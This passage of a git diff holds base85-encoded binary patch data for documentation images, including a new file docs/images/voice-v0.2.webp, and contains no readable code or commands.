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 literal 0 HcmV?d00001 diff --git a/docs/images/voice-v0.2.webp b/docs/images/voice-v0.2.webp new file mode 100644 index 0000000000000000000000000000000000000000..fe4ed470afd01074961b347fa0a76535f4d213da GIT binary patch literal 32942 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 